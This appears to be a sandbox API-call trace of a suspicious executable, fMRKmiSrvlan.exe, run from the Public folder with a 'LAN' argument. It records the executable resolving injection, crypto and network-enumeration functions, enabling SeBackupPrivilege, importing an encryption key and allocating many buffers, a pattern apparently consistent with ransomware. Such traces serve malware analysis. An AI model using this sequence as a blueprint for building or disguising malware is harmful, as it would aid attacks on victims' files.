	[0161.243] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAlloc") returned 0x76f367a0
	[0161.243] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameA") returned 0x7fefddcdc20
	[0161.243] GetProcAddress (hModule=0x76f20000, lpProcName="ExitProcess") returned 0x771640f0
	[0161.243] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76f6bb30
	[0161.243] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessA") returned 0x76fb8840
	[0161.243] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetIpNetTable") returned 0x7fefaa3e558
	[0161.244] GetProcAddress (hModule=0x76f20000, lpProcName="GetVersionExW") returned 0x76f2d910
	[0161.244] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76f6bb40
	[0161.244] GetProcAddress (hModule=0x76f20000, lpProcName="GetSystemDefaultLangID") returned 0x76f294e0
	[0161.244] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameW") returned 0x7fefddd1fd0
	[0161.244] GetProcAddress (hModule=0x76f20000, lpProcName="ReadFile") returned 0x76f31500
	[0161.244] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegQueryValueExA") returned 0x7fefdddc480
	[0161.245] GetProcAddress (hModule=0x76f20000, lpProcName="CloseHandle") returned 0x76f42f80
	[0161.245] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegSetValueExW") returned 0x7fefddd1ed0
	[0161.245] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegCloseKey") returned 0x7fefdde0710
	[0161.245] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileA") returned 0x76fb5620
	[0161.245] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesW") returned 0x76f337a0
	[0161.245] GetProcAddress (hModule=0x76f20000, lpProcName="WinExec") returned 0x76fb8d80
	[0161.246] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDeriveKey") returned 0x7fefddfb6b0
	[0161.246] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGenKey") returned 0x7fefddc19bc
	[0161.246] GetProcAddress (hModule=0x76f20000, lpProcName="Sleep") returned 0x76f42b70
	[0161.246] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcess") returned 0x76f35cf0
	[0161.246] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteW") returned 0x7fefe6c983c
	[0161.247] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSize") returned 0x76f2f9d0
	[0161.247] GetProcAddress (hModule=0x76f20000, lpProcName="GlobalAlloc") returned 0x76f280c0
	[0161.247] GetProcAddress (hModule=0x76f20000, lpProcName="FindClose") returned 0x76f3bd60
	[0161.248] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForMultipleObjects") returned 0x76f31170
	[0161.248] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameA") returned 0x76f364a0
	[0161.248] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteA") returned 0x7fefe90ec80
	[0161.248] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleHandleA") returned 0x76f365e0
	[0161.248] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameW") returned 0x76f37700
	[0161.248] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileA") returned 0x76f431f0
	[0161.248] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSizeEx") returned 0x76f29b30
	[0161.248] GetProcAddress (hModule=0x76f20000, lpProcName="WriteFile") returned 0x76f435a0
	[0161.249] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalDrives") returned 0x76f2b930
	[0161.249] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetEnumResourceA") returned 0x7fefa66bcfc
	[0161.249] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExW") returned 0x7fefdde06f0
	[0161.249] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetCloseEnum") returned 0x7fefa6642dc
	[0161.249] GetProcAddress (hModule=0x76f20000, lpProcName="GetWindowsDirectoryW") returned 0x76f282b0
	[0161.249] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesA") returned 0x76f22d50
	[0161.249] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExA") returned 0x7fefdddb5f0
	[0161.250] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointer") returned 0x76f31150
	[0161.250] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount") returned 0x76f42b00
	[0161.250] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesW") returned 0x76f3bdd0
	[0161.250] GetProcAddress (hModule=0x76f20000, lpProcName="FindFirstFileW") returned 0x76f3bd80
	[0161.250] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextW") returned 0x7fefddcd98c
	[0161.250] GetProcAddress (hModule=0x76f20000, lpProcName="MoveFileExW") returned 0x76f23060
	[0161.250] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetOpenEnumA") returned 0x7fefa66bc68
	[0161.250] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoInitialize") returned 0x7fefe14a51c
	[0161.251] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDecrypt") returned 0x7fefddfb6d0
	[0161.251] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptImportKey") returned 0x7fefddcaf6c
	[0161.518] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointerEx") returned 0x76f2af00
	[0161.518] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileW") returned 0x76f292d0
	[0161.518] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibrary") returned 0x76f36620
	[0161.518] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessW") returned 0x76f41bb0
	[0161.518] GetProcAddress (hModule=0x76f20000, lpProcName="CreateDirectoryW") returned 0x76f2ad70
	[0161.518] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThread") returned 0x76f36580
	[0161.519] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyKey") returned 0x7fefddcafa0
	[0161.519] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoCreateInstance") returned 0x7fefe157490
	[0161.519] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileW") returned 0x76f31870
	[0161.519] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesA") returned 0x76f313e0
	[0161.519] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptEncrypt") returned 0x7fefddfb650
	[0161.519] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegDeleteValueW") returned 0x7fefddcbbb0
	[0161.519] GetProcAddress (hModule=0x7fefddc0000, lpProcName="EnumServicesStatusW") returned 0x7fefde0d5f0
	[0161.519] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetTokenInformation") returned 0x7fefdddbd50
	[0161.519] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ImpersonateSelf") returned 0x7fefddcc180
	[0161.520] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdddb9e0
	[0161.520] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenProcessToken") returned 0x7fefdddbd70
	[0161.520] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenSCManagerW") returned 0x7fefddcc2a8
	[0161.520] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenThreadToken") returned 0x7fefdddbd84
	[0161.520] GetProcAddress (hModule=0x7fefddc0000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdddb9b0
	[0161.520] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAllocEx") returned 0x76f6bbd0
	[0161.520] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupAccountSidW") returned 0x7fefdddb898
	[0161.520] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="CommandLineToArgvW") returned 0x7fefe6d157c
	[0161.521] GetProcAddress (hModule=0x76f20000, lpProcName="WriteProcessMemory") returned 0x76f6bad0
	[0161.521] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFreeEx") returned 0x76f6bb90
	[0161.521] GetProcAddress (hModule=0x76f20000, lpProcName="CreateRemoteThread") returned 0x76f6c4f0
	[0161.521] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetAdaptersAddresses") returned 0x7fefaa32ab4
	[0161.521] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCloseHandle") returned 0x7fefaa37cc0
	[0161.521] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCreateFile") returned 0x7fefaa38250
	[0161.521] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpSendEcho") returned 0x7fefaa38340
	[0161.522] SetLastError (dwErrCode=0x0) 
	[0161.522] GetCommandLineW () returned="\"C:\\users\\Public\\fMRKmiSrvlan.exe\" 8 LAN"
	[0161.522] CommandLineToArgvW (in: lpCmdLine="\"C:\\users\\Public\\fMRKmiSrvlan.exe\" 8 LAN", pNumArgs=0xd43b0 | out: pNumArgs=0xd43b0) returned 0x258450*="C:\\users\\Public\\fMRKmiSrvlan.exe"
	[0161.522] GetLastError () returned 0x0
	[0161.522] Sleep (dwMilliseconds=0x1388) 
	[0166.661] SetLastError (dwErrCode=0x0) 
	[0166.661] GetCurrentThread () returned 0xfffffffffffffffe
	[0166.661] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0xd3ac0 | out: TokenHandle=0xd3ac0*=0x38faa52700) returned 0
	[0166.661] GetLastError () returned 0x3f0
	[0166.661] ImpersonateSelf (ImpersonationLevel=0x2) returned 1
	[0166.662] GetCurrentThread () returned 0xfffffffffffffffe
	[0166.662] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0xd3ac0 | out: TokenHandle=0xd3ac0*=0x8c) returned 1
	[0166.662] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0xd3a48 | out: lpLuid=0xd3a48*(LowPart=0x11, HighPart=0)) returned 1
	[0166.877] AdjustTokenPrivileges (in: TokenHandle=0x8c, DisableAllPrivileges=0, NewState=0xd3a10*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0166.877] GetLastError () returned 0x0
	[0166.877] GetVersionExW (in: lpVersionInformation=0xd3900*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xd3900*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0166.878] GetWindowsDirectoryW (in: lpBuffer=0x13fb1dad0, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0166.878] GetWindowsDirectoryW (in: lpBuffer=0x13fb1dc90, uSize=0x140 | out: lpBuffer="C:\\Windows") returned 0xa
	[0166.878] CryptAcquireContextW (in: phProv=0x13fb1db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x10 | out: phProv=0x13fb1db38*=0x0) returned 0
	[0166.907] CryptAcquireContextW (in: phProv=0x13fb1db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x20 | out: phProv=0x13fb1db38*=0x25a980) returned 1
	[0167.108] CryptImportKey (in: hProv=0x25a980, pbData=0x13f9de310, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x1, phKey=0x13fb1dc80 | out: phKey=0x13fb1dc80*=0x24ef90) returned 1
	[0167.109] Sleep (dwMilliseconds=0x3e8) 
	[0168.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c5b28, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0
	[0168.205] GetTickCount () returned 0x116df58
	[0168.205] Sleep (dwMilliseconds=0xdb78) 
	[0179.127] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x1f00000
	[0179.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x60000
	[0179.128] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2140000
	[0179.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x70000
	[0179.129] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2240000
	[0179.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x80000
	[0179.604] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2470000
	[0179.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x200000
	[0179.605] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2570000
	[0179.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x210000
	[0179.605] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2670000
	[0179.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x220000
	[0179.606] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0179.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x430000
	[0179.606] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2870000
	[0179.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x440000
	[0179.606] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2970000
	[0179.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x450000
	[0179.607] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2a70000
	[0179.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x460000
	[0179.607] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000
	[0179.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x470000
	[0179.608] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2c70000
	[0179.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x480000
	[0179.608] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2d70000
	[0179.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x490000
	[0179.609] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2e70000
	[0179.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4a0000
	[0179.609] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2f70000
	[0179.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4b0000
	[0179.610] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3070000
	[0179.610] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4c0000
	[0179.610] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3170000
	[0179.610] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4d0000
	[0179.610] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3270000
	[0179.611] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4e0000
	[0179.611] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3370000
	[0179.611] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4f0000
	[0179.611] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3470000
	[0179.612] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2000000
	[0179.612] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3570000
	[0179.612] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2010000
	[0179.612] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3670000
	[0179.613] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2020000
	[0179.613] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3770000
	[0179.613] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2030000
	[0179.614] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3870000
	[0179.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2340000
	[0179.614] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3970000
	[0179.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2350000
	[0179.615] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3a70000
	[0179.615] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2360000
	[0179.615] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3b70000
	[0179.615] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2370000
	[0179.616] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3c70000
	[0179.616] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2380000
	[0179.616] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3d70000
	[0179.616] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2390000
	[0179.617] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3e70000
	[0179.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x23a0000
	[0179.617] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3f70000
	[0179.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x23b0000
	[0179.618] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4070000
	[0179.618] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x23c0000
	[0179.618] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4170000
	[0179.619] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x23d0000
	[0179.619] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4270000
	[0179.619] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x23e0000
	[0179.619] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4370000
	[0179.620] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4470000
	[0179.620] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4480000
	[0179.620] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4580000
	[0179.620] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4590000
	[0179.621] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4690000
	[0179.621] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x46a0000
	[0179.621] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x47a0000
	[0179.622] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x47b0000
	[0179.622] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x48b0000
	[0179.622] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x48c0000
	[0179.622] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x49c0000
	[0179.623] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x49d0000
	[0179.623] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4ad0000
	[0179.624] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4ae0000
	[0179.624] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4be0000
	[0179.624] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4bf0000
	[0179.625] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4cf0000
	[0179.625] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4d00000
	[0179.625] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4e00000
	[0179.626] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4e10000
	[0179.626] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4f10000
	[0179.626] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4f20000
	[0179.627] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5020000
	[0179.627] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5030000
	[0179.627] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5130000
	[0179.628] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5140000
	[0179.628] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5240000
	[0179.629] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5250000
	[0179.629] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5350000
	[0179.629] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5360000
	[0179.630] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5460000
	[0179.630] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5470000
	[0179.630] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5570000
	[0179.631] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5580000
	[0179.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5680000
	[0179.631] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5690000
	[0179.632] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5790000
	[0179.632] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x57a0000
	[0179.632] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x58a0000
	[0179.633] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x58b0000
	[0179.633] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x59b0000
	[0179.633] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x59c0000
	[0179.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ac0000
	[0179.634] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5ad0000
	[0179.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5bd0000
	[0179.635] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5be0000
	[0179.635] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ce0000
	[0179.635] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5cf0000
	[0179.636] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5df0000
	[0179.636] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e00000
	[0179.636] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5f00000
	[0179.637] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5f10000
	[0179.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6010000
	[0179.637] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6020000
	[0179.638] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6120000
	[0179.638] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6130000
	[0179.638] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6230000
	[0179.639] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6240000
	[0179.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6340000
	[0179.639] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6350000
